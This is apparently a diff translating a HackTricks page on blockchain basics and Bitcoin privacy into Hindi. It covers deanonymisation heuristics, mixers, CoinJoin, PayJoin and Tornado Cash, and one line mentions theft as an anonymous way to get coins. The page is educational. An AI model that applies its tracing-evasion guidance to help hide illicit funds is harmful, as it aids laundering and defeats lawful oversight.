गोपनीयता की सुरक्षा के लिए, हर लेनदेन के लिए एक नया पता उपयोग करना महत्वपूर्ण है। पते का पुन: उपयोग लेनदेन को एक ही इकाई से जोड़कर गोपनीयता को खतरे में डाल सकता है। आधुनिक वॉलेट अपने डिज़ाइन के माध्यम से पते के पुन: उपयोग को हतोत्साहित करते हैं।
|
||||
|
||||
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
|
||||
## **लेनदेन की गोपनीयता के लिए रणनीतियाँ**
|
||||
|
||||
## **Strategies for Transaction Privacy**
|
||||
- **कई लेनदेन**: एक भुगतान को कई लेनदेन में विभाजित करना लेनदेन की राशि को अस्पष्ट कर सकता है, गोपनीयता हमलों को विफल कर सकता है।
|
||||
- **परिवर्तन से बचना**: ऐसे लेनदेन का चयन करना जो परिवर्तन आउटपुट की आवश्यकता नहीं रखते हैं, गोपनीयता को बढ़ाता है क्योंकि यह परिवर्तन पहचान विधियों को बाधित करता है।
|
||||
- **कई परिवर्तन आउटपुट**: यदि परिवर्तन से बचना संभव नहीं है, तो कई परिवर्तन आउटपुट उत्पन्न करना भी गोपनीयता में सुधार कर सकता है।
|
||||
|
||||
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
|
||||
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
|
||||
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
|
||||
# **मोनरो: गोपनीयता का एक प्रकाशस्तंभ**
|
||||
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
मोनरो डिजिटल लेनदेन में पूर्ण गोपनीयता की आवश्यकता को संबोधित करता है, जो गोपनीयता के लिए एक उच्च मानक स्थापित करता है।
|
||||
|
||||
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
|
||||
# **एथेरियम: गैस और लेनदेन**
|
||||
|
||||
# **Ethereum: Gas and Transactions**
|
||||
## **गैस को समझना**
|
||||
|
||||
## **Understanding Gas**
|
||||
गैस एथेरियम पर संचालन को निष्पादित करने के लिए आवश्यक गणनात्मक प्रयास को मापता है, जिसे **ग्वेई** में मूल्यांकित किया जाता है। उदाहरण के लिए, 2,310,000 ग्वेई (या 0.00231 ETH) की लागत वाला एक लेनदेन गैस सीमा और एक आधार शुल्क शामिल करता है, जिसमें खनिकों को प्रोत्साहित करने के लिए एक टिप होती है। उपयोगकर्ता अधिक भुगतान न करने के लिए अधिकतम शुल्क निर्धारित कर सकते हैं, और अतिरिक्त राशि वापस की जाती है।
|
||||
|
||||
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
|
||||
## **लेनदेन निष्पादित करना**
|
||||
|
||||
## **Executing Transactions**
|
||||
एथेरियम में लेनदेन में एक प्रेषक और एक प्राप्तकर्ता शामिल होते हैं, जो या तो उपयोगकर्ता या स्मार्ट अनुबंध पते हो सकते हैं। इन्हें एक शुल्क की आवश्यकता होती है और इन्हें खनन किया जाना चाहिए। एक लेनदेन में आवश्यक जानकारी में प्राप्तकर्ता, प्रेषक का हस्ताक्षर, मूल्य, वैकल्पिक डेटा, गैस सीमा, और शुल्क शामिल होते हैं। विशेष रूप से, प्रेषक का पता हस्ताक्षर से निकाला जाता है, जिससे लेनदेन डेटा में इसकी आवश्यकता समाप्त हो जाती है।
|
||||
|
||||
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
|
||||
ये प्रथाएँ और तंत्र उन सभी के लिए मौलिक हैं जो क्रिप्टोक्यूरेंसी के साथ संलग्न होना चाहते हैं जबकि गोपनीयता और सुरक्षा को प्राथमिकता देते हैं।
|
||||
|
||||
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
- **सरल सूची:** बस एक सूची जिसमें प्रत्येक पंक्ति में एक प्रविष्टि होती है
|
||||
- **रनटाइम फ़ाइल:** एक सूची जो रनटाइम में पढ़ी जाती है (मेमोरी में लोड नहीं होती)। बड़ी सूचियों का समर्थन करने के लिए।
|
||||
- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर में, अपर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर में-, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रहे-)।
|
||||
- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर में, अपर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रहे)।
|
||||
- **संख्याएँ:** Z स्टेप का उपयोग करके या यादृच्छिक रूप से X से Y तक संख्याएँ उत्पन्न करें।
|
||||
- **ब्रूट फोर्सर:** कैरेक्टर सेट, न्यूनतम और अधिकतम लंबाई।
|
||||
|
||||
|
||||
@ -1,180 +1,176 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Concepts
|
||||
## मूल अवधारणाएँ
|
||||
|
||||
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
|
||||
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
|
||||
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
|
||||
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
|
||||
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
|
||||
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
|
||||
- **स्मार्ट कॉन्ट्रैक्ट्स** को उन प्रोग्रामों के रूप में परिभाषित किया जाता है जो एक ब्लॉकचेन पर तब निष्पादित होते हैं जब कुछ शर्तें पूरी होती हैं, मध्यस्थों के बिना समझौतों के निष्पादन को स्वचालित करते हैं।
|
||||
- **विकेंद्रीकृत अनुप्रयोग (dApps)** स्मार्ट कॉन्ट्रैक्ट्स पर आधारित होते हैं, जिनमें उपयोगकर्ता के अनुकूल फ्रंट-एंड और पारदर्शी, ऑडिट करने योग्य बैक-एंड होता है।
|
||||
- **टोकन और सिक्के** में अंतर होता है, जहाँ सिक्के डिजिटल पैसे के रूप में कार्य करते हैं, जबकि टोकन विशिष्ट संदर्भों में मूल्य या स्वामित्व का प्रतिनिधित्व करते हैं।
|
||||
- **यूटिलिटी टोकन** सेवाओं तक पहुँच प्रदान करते हैं, और **सिक्योरिटी टोकन** संपत्ति के स्वामित्व का संकेत देते हैं।
|
||||
- **DeFi** का अर्थ विकेंद्रीकृत वित्त है, जो केंद्रीय प्राधिकरणों के बिना वित्तीय सेवाएँ प्रदान करता है।
|
||||
- **DEX** और **DAOs** क्रमशः विकेंद्रीकृत एक्सचेंज प्लेटफार्मों और विकेंद्रीकृत स्वायत्त संगठनों को संदर्भित करते हैं।
|
||||
|
||||
## Consensus Mechanisms
|
||||
## सहमति तंत्र
|
||||
|
||||
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
|
||||
सहमति तंत्र ब्लॉकचेन पर सुरक्षित और सहमति से लेनदेन की मान्यता सुनिश्चित करते हैं:
|
||||
|
||||
- **Proof of Work (PoW)** relies on computational power for transaction verification.
|
||||
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
|
||||
- **प्रूफ ऑफ वर्क (PoW)** लेनदेन की सत्यापन के लिए कंप्यूटेशनल शक्ति पर निर्भर करता है।
|
||||
- **प्रूफ ऑफ स्टेक (PoS)** सत्यापनकर्ताओं से एक निश्चित मात्रा में टोकन रखने की मांग करता है, जो PoW की तुलना में ऊर्जा की खपत को कम करता है।
|
||||
|
||||
## Bitcoin Essentials
|
||||
## बिटकॉइन आवश्यकताएँ
|
||||
|
||||
### Transactions
|
||||
### लेनदेन
|
||||
|
||||
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
|
||||
बिटकॉइन लेनदेन में पते के बीच धन का हस्तांतरण शामिल होता है। लेनदेन को डिजिटल हस्ताक्षरों के माध्यम से मान्य किया जाता है, यह सुनिश्चित करते हुए कि केवल निजी कुंजी का मालिक ही हस्तांतरण शुरू कर सकता है।
|
||||
|
||||
#### Key Components:
|
||||
#### प्रमुख घटक:
|
||||
|
||||
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
|
||||
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
|
||||
- **मल्टीसिग्नेचर लेनदेन** को एक लेनदेन को अधिकृत करने के लिए कई हस्ताक्षरों की आवश्यकता होती है।
|
||||
- लेनदेन में **इनपुट** (धन का स्रोत), **आउटपुट** (गंतव्य), **शुल्क** (खननकर्ताओं को भुगतान किया गया), और **स्क्रिप्ट** (लेनदेन के नियम) शामिल होते हैं।
|
||||
|
||||
### Lightning Network
|
||||
### लाइटनिंग नेटवर्क
|
||||
|
||||
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
|
||||
बिटकॉइन की स्केलेबिलिटी को बढ़ाने का लक्ष्य है, जिससे एक चैनल के भीतर कई लेनदेन किए जा सकें, केवल अंतिम स्थिति को ब्लॉकचेन पर प्रसारित किया जाए।
|
||||
|
||||
## Bitcoin Privacy Concerns
|
||||
## बिटकॉइन गोपनीयता चिंताएँ
|
||||
|
||||
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
|
||||
गोपनीयता हमले, जैसे **कॉमन इनपुट ओनरशिप** और **UTXO चेंज एड्रेस डिटेक्शन**, लेनदेन के पैटर्न का लाभ उठाते हैं। **मिक्सर्स** और **कोइनजॉइन** जैसी रणनीतियाँ उपयोगकर्ताओं के बीच लेनदेन के लिंक को अस्पष्ट करके गुमनामी में सुधार करती हैं।
|
||||
|
||||
## Acquiring Bitcoins Anonymously
|
||||
## बिटकॉइन को गुमनाम रूप से प्राप्त करना
|
||||
|
||||
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
|
||||
विधियों में नकद व्यापार, खनन, और मिक्सर्स का उपयोग शामिल है। **कोइनजॉइन** कई लेनदेन को मिलाकर ट्रेसबिलिटी को जटिल बनाता है, जबकि **पे-जॉइन** कोइनजॉइन को नियमित लेनदेन के रूप में छिपाता है ताकि गोपनीयता बढ़ सके।
|
||||
|
||||
# Bitcoin Privacy Atacks
|
||||
# बिटकॉइन गोपनीयता हमले
|
||||
|
||||
# Summary of Bitcoin Privacy Attacks
|
||||
# बिटकॉइन गोपनीयता हमलों का सारांश
|
||||
|
||||
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
|
||||
बिटकॉइन की दुनिया में, लेनदेन की गोपनीयता और उपयोगकर्ताओं की गुमनामी अक्सर चिंता का विषय होती है। यहाँ कुछ सामान्य तरीकों का सरल अवलोकन है जिनके माध्यम से हमलावर बिटकॉइन की गोपनीयता को खतरे में डाल सकते हैं।
|
||||
|
||||
## **Common Input Ownership Assumption**
|
||||
## **कॉमन इनपुट ओनरशिप अनुमान**
|
||||
|
||||
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
|
||||
यह सामान्यतः दुर्लभ है कि विभिन्न उपयोगकर्ताओं के इनपुट को एक ही लेनदेन में जोड़ा जाए क्योंकि इसमें जटिलता होती है। इसलिए, **एक ही लेनदेन में दो इनपुट पते अक्सर एक ही मालिक के होने का अनुमान लगाया जाता है**।
|
||||
|
||||
## **UTXO Change Address Detection**
|
||||
## **UTXO चेंज एड्रेस डिटेक्शन**
|
||||
|
||||
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
|
||||
एक UTXO, या **अनस्पेंट ट्रांजैक्शन आउटपुट**, को एक लेनदेन में पूरी तरह से खर्च किया जाना चाहिए। यदि इसका केवल एक भाग किसी अन्य पते पर भेजा जाता है, तो शेष एक नए चेंज पते पर जाता है। पर्यवेक्षक यह मान सकते हैं कि यह नया पता भेजने वाले का है, जिससे गोपनीयता का उल्लंघन होता है।
|
||||
|
||||
### Example
|
||||
### उदाहरण
|
||||
|
||||
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
|
||||
इससे बचने के लिए, मिक्सिंग सेवाएँ या कई पते का उपयोग स्वामित्व को अस्पष्ट करने में मदद कर सकते हैं।
|
||||
|
||||
## **Social Networks & Forums Exposure**
|
||||
## **सोशल नेटवर्क और फोरम का प्रदर्शन**
|
||||
|
||||
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
|
||||
उपयोगकर्ता कभी-कभी अपने बिटकॉइन पते को ऑनलाइन साझा करते हैं, जिससे **पते को उसके मालिक से जोड़ना आसान हो जाता है**।
|
||||
|
||||
## **Transaction Graph Analysis**
|
||||
## **लेनदेन ग्राफ विश्लेषण**
|
||||
|
||||
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
|
||||
लेनदेन को ग्राफ के रूप में दृश्य रूप में प्रस्तुत किया जा सकता है, जो उपयोगकर्ताओं के बीच संभावित संबंधों को धन के प्रवाह के आधार पर प्रकट करता है।
|
||||
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
## **अनावश्यक इनपुट ह्यूरिस्टिक (ऑप्टिमल चेंज ह्यूरिस्टिक)**
|
||||
|
||||
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
|
||||
|
||||
### Example
|
||||
यह ह्यूरिस्टिक कई इनपुट और आउटपुट वाले लेनदेन का विश्लेषण करके अनुमान लगाने पर आधारित है कि कौन सा आउटपुट भेजने वाले को वापस लौटने वाला परिवर्तन है।
|
||||
|
||||
### उदाहरण
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
यदि अधिक इनपुट जोड़ने से आउटपुट किसी एकल इनपुट से बड़ा हो जाता है, तो यह ह्यूरिस्टिक को भ्रमित कर सकता है।
|
||||
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
## **फोर्स्ड एड्रेस रीयूज**
|
||||
|
||||
## **Forced Address Reuse**
|
||||
हमलावर पहले से उपयोग किए गए पते पर छोटे-छोटे अमाउंट भेज सकते हैं, यह उम्मीद करते हुए कि प्राप्तकर्ता भविष्य के लेनदेन में इन्हें अन्य इनपुट के साथ मिलाएगा, जिससे पते आपस में जुड़े रहेंगे।
|
||||
|
||||
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
|
||||
### सही वॉलेट व्यवहार
|
||||
|
||||
### Correct Wallet Behavior
|
||||
वॉलेट को पहले से उपयोग किए गए, खाली पते पर प्राप्त किए गए सिक्कों का उपयोग करने से बचना चाहिए ताकि इस गोपनीयता लीक को रोका जा सके।
|
||||
|
||||
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
|
||||
## **अन्य ब्लॉकचेन विश्लेषण तकनीकें**
|
||||
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
- **सटीक भुगतान राशि:** बिना परिवर्तन के लेनदेन संभवतः एक ही उपयोगकर्ता के दो पते के बीच होते हैं।
|
||||
- **गोल नंबर:** लेनदेन में गोल संख्या यह सुझाव देती है कि यह एक भुगतान है, जिसमें गैर-गोल आउटपुट संभवतः परिवर्तन है।
|
||||
- **वॉलेट फिंगरप्रिंटिंग:** विभिन्न वॉलेट के पास लेनदेन निर्माण के अद्वितीय पैटर्न होते हैं, जिससे विश्लेषकों को उपयोग किए गए सॉफ़्टवेयर और संभावित रूप से परिवर्तन पते की पहचान करने की अनुमति मिलती है।
|
||||
- **राशि और समय संबंध:** लेनदेन के समय या राशियों का खुलासा लेनदेन को ट्रेस करने योग्य बना सकता है।
|
||||
|
||||
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
|
||||
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
|
||||
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
|
||||
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
|
||||
## **ट्रैफिक विश्लेषण**
|
||||
|
||||
## **Traffic Analysis**
|
||||
नेटवर्क ट्रैफिक की निगरानी करके, हमलावर संभावित रूप से लेनदेन या ब्लॉकों को आईपी पते से जोड़ सकते हैं, जिससे उपयोगकर्ता की गोपनीयता से समझौता हो सकता है। यह विशेष रूप से सच है यदि कोई इकाई कई बिटकॉइन नोड्स संचालित करती है, जिससे उनके लेनदेन की निगरानी करने की क्षमता बढ़ जाती है।
|
||||
|
||||
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
|
||||
## अधिक
|
||||
|
||||
## More
|
||||
गोपनीयता हमलों और रक्षा के लिए एक व्यापक सूची के लिए, [Bitcoin Wiki पर Bitcoin Privacy](https://en.bitcoin.it/wiki/Privacy) पर जाएं।
|
||||
|
||||
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
# गुमनाम बिटकॉइन लेनदेन
|
||||
|
||||
# Anonymous Bitcoin Transactions
|
||||
## गुमनाम रूप से बिटकॉइन प्राप्त करने के तरीके
|
||||
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
- **नकद लेनदेन**: नकद के माध्यम से बिटकॉइन प्राप्त करना।
|
||||
- **नकद विकल्प**: उपहार कार्ड खरीदना और उन्हें ऑनलाइन बिटकॉइन के लिए बदलना।
|
||||
- **माइनिंग**: बिटकॉइन कमाने का सबसे निजी तरीका माइनिंग है, विशेष रूप से जब इसे अकेले किया जाता है क्योंकि माइनिंग पूल माइनर के आईपी पते को जान सकते हैं। [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **चोरी**: सिद्धांत रूप से, बिटकॉइन चुराना गुमनाम रूप से इसे प्राप्त करने का एक और तरीका हो सकता है, हालांकि यह अवैध है और अनुशंसित नहीं है।
|
||||
|
||||
- **Cash Transactions**: Acquiring bitcoin through cash.
|
||||
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
|
||||
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
|
||||
## मिक्सिंग सेवाएँ
|
||||
|
||||
## Mixing Services
|
||||
|
||||
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
|
||||
मिक्सिंग सेवा का उपयोग करके, एक उपयोगकर्ता **बिटकॉइन भेज सकता है** और **वापस में विभिन्न बिटकॉइन प्राप्त कर सकता है**, जिससे मूल मालिक को ट्रेस करना कठिन हो जाता है। फिर भी, यह सेवा पर भरोसा करने की आवश्यकता होती है कि यह लॉग नहीं रखेगी और वास्तव में बिटकॉइन वापस करेगी। वैकल्पिक मिक्सिंग विकल्पों में बिटकॉइन कैसीनो शामिल हैं।
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
|
||||
**CoinJoin** विभिन्न उपयोगकर्ताओं के कई लेनदेन को एक में मिलाता है, जिससे किसी के लिए इनपुट को आउटपुट से मिलाना जटिल हो जाता है। इसके प्रभावी होने के बावजूद, अद्वितीय इनपुट और आउटपुट आकार वाले लेनदेन को अभी भी संभावित रूप से ट्रेस किया जा सकता है।
|
||||
|
||||
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
उदाहरण लेनदेन जो CoinJoin का उपयोग कर सकते हैं उनमें `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` और `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` शामिल हैं।
|
||||
|
||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||
अधिक जानकारी के लिए, [CoinJoin](https://coinjoin.io/en) पर जाएं। एथेरियम पर समान सेवा के लिए, [Tornado Cash](https://tornado.cash) देखें, जो खनिकों के फंड से लेनदेन को गुमनाम बनाता है।
|
||||
|
||||
## PayJoin
|
||||
|
||||
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
|
||||
|
||||
CoinJoin का एक रूप, **PayJoin** (या P2EP), दो पक्षों (जैसे, एक ग्राहक और एक व्यापारी) के बीच लेनदेन को एक सामान्य लेनदेन के रूप में छुपाता है, बिना CoinJoin की विशिष्ट समान आउटपुट विशेषता के। यह इसे पहचानना अत्यंत कठिन बनाता है और लेनदेन निगरानी संस्थाओं द्वारा उपयोग की जाने वाली सामान्य-इनपुट-स्वामित्व ह्यूरिस्टिक को अमान्य कर सकता है।
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
उपरोक्त जैसी लेनदेन PayJoin हो सकते हैं, जो गोपनीयता को बढ़ाते हैं जबकि मानक बिटकॉइन लेनदेन से भिन्न नहीं होते।
|
||||
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
**PayJoin का उपयोग पारंपरिक निगरानी विधियों को महत्वपूर्ण रूप से बाधित कर सकता है**, जो लेनदेन की गोपनीयता की खोज में एक आशाजनक विकास है।
|
||||
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
# क्रिप्टोक्यूरेंसी में गोपनीयता के लिए सर्वोत्तम प्रथाएँ
|
||||
|
||||
# Best Practices for Privacy in Cryptocurrencies
|
||||
## **वॉलेट समन्वय तकनीकें**
|
||||
|
||||
## **Wallet Synchronization Techniques**
|
||||
गोपनीयता और सुरक्षा बनाए रखने के लिए, ब्लॉकचेन के साथ वॉलेट का समन्वय करना महत्वपूर्ण है। दो विधियाँ प्रमुख हैं:
|
||||
|
||||
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
|
||||
- **पूर्ण नोड**: पूरे ब्लॉकचेन को डाउनलोड करके, एक पूर्ण नोड अधिकतम गोपनीयता सुनिश्चित करता है। सभी लेनदेन जो कभी किए गए हैं, स्थानीय रूप से संग्रहीत होते हैं, जिससे प्रतिकूलों के लिए यह पहचानना असंभव हो जाता है कि उपयोगकर्ता किस लेनदेन या पते में रुचि रखता है।
|
||||
- **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग**: यह विधि ब्लॉकचेन में प्रत्येक ब्लॉक के लिए फ़िल्टर बनाने में शामिल होती है, जिससे वॉलेट्स को नेटवर्क पर्यवेक्षकों के लिए विशिष्ट रुचियों को उजागर किए बिना प्रासंगिक लेनदेन की पहचान करने की अनुमति मिलती है। हल्के वॉलेट्स इन फ़िल्टरों को डाउनलोड करते हैं, केवल तब पूर्ण ब्लॉक लाते हैं जब उपयोगकर्ता के पते के साथ मेल मिलता है।
|
||||
|
||||
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
|
||||
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
|
||||
## **गोपनीयता के लिए टोर का उपयोग करना**
|
||||
|
||||
## **Utilizing Tor for Anonymity**
|
||||
चूंकि बिटकॉइन एक पीयर-टू-पीयर नेटवर्क पर काम करता है, अपने आईपी पते को छिपाने के लिए टोर का उपयोग करने की सिफारिश की जाती है, जिससे नेटवर्क के साथ बातचीत करते समय गोपनीयता बढ़ती है।
|
||||
|
||||
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
|
||||
## **पते के पुन: उपयोग को रोकना**
|
||||
|
||||
## **Preventing Address Reuse**
|
||||
गोपनीयता की सुरक्षा के लिए, हर लेनदेन के लिए एक नया पता उपयोग करना महत्वपूर्ण है। पते का पुन: उपयोग गोपनीयता को खतरे में डाल सकता है क्योंकि यह लेनदेन को एक ही इकाई से जोड़ता है। आधुनिक वॉलेट्स अपने डिज़ाइन के माध्यम से पते के पुन: उपयोग को हतोत्साहित करते हैं।
|
||||
|
||||
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
|
||||
## **लेनदेन की गोपनीयता के लिए रणनीतियाँ**
|
||||
|
||||
## **Strategies for Transaction Privacy**
|
||||
- **कई लेनदेन**: एक भुगतान को कई लेनदेन में विभाजित करना लेनदेन की राशि को अस्पष्ट कर सकता है, गोपनीयता हमलों को विफल कर सकता है।
|
||||
- **परिवर्तन से बचना**: ऐसे लेनदेन का चयन करना जो परिवर्तन आउटपुट की आवश्यकता नहीं रखते हैं, गोपनीयता को बढ़ाता है क्योंकि यह परिवर्तन पहचान विधियों को बाधित करता है।
|
||||
- **कई परिवर्तन आउटपुट**: यदि परिवर्तन से बचना संभव नहीं है, तो कई परिवर्तन आउटपुट उत्पन्न करना भी गोपनीयता में सुधार कर सकता है।
|
||||
|
||||
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
|
||||
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
|
||||
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
|
||||
# **मोनरो: एक गोपनीयता का प्रकाशस्तंभ**
|
||||
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
मोनरो डिजिटल लेनदेन में पूर्ण गोपनीयता की आवश्यकता को संबोधित करता है, जो गोपनीयता के लिए एक उच्च मानक स्थापित करता है।
|
||||
|
||||
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
|
||||
# **एथेरियम: गैस और लेनदेन**
|
||||
|
||||
# **Ethereum: Gas and Transactions**
|
||||
## **गैस को समझना**
|
||||
|
||||
## **Understanding Gas**
|
||||
गैस एथेरियम पर संचालन को निष्पादित करने के लिए आवश्यक गणनात्मक प्रयास को मापता है, जिसे **ग्वेई** में मूल्यांकित किया जाता है। उदाहरण के लिए, 2,310,000 ग्वेई (या 0.00231 ETH) की लागत वाला एक लेनदेन गैस सीमा और एक आधार शुल्क शामिल करता है, जिसमें खनिकों को प्रोत्साहित करने के लिए एक टिप होती है। उपयोगकर्ता अधिक भुगतान न करने के लिए अधिकतम शुल्क निर्धारित कर सकते हैं, और अतिरिक्त राशि वापस की जाती है।
|
||||
|
||||
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
|
||||
## **लेनदेन निष्पादित करना**
|
||||
|
||||
## **Executing Transactions**
|
||||
एथेरियम में लेनदेन में एक प्रेषक और एक प्राप्तकर्ता शामिल होते हैं, जो या तो उपयोगकर्ता या स्मार्ट अनुबंध पते हो सकते हैं। इन्हें एक शुल्क की आवश्यकता होती है और इन्हें खनन किया जाना चाहिए। लेनदेन में आवश्यक जानकारी में प्राप्तकर्ता, प्रेषक का हस्ताक्षर, मूल्य, वैकल्पिक डेटा, गैस सीमा, और शुल्क शामिल होते हैं। विशेष रूप से, प्रेषक का पता हस्ताक्षर से निकाला जाता है, जिससे लेनदेन डेटा में इसकी आवश्यकता समाप्त हो जाती है।
|
||||
|
||||
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
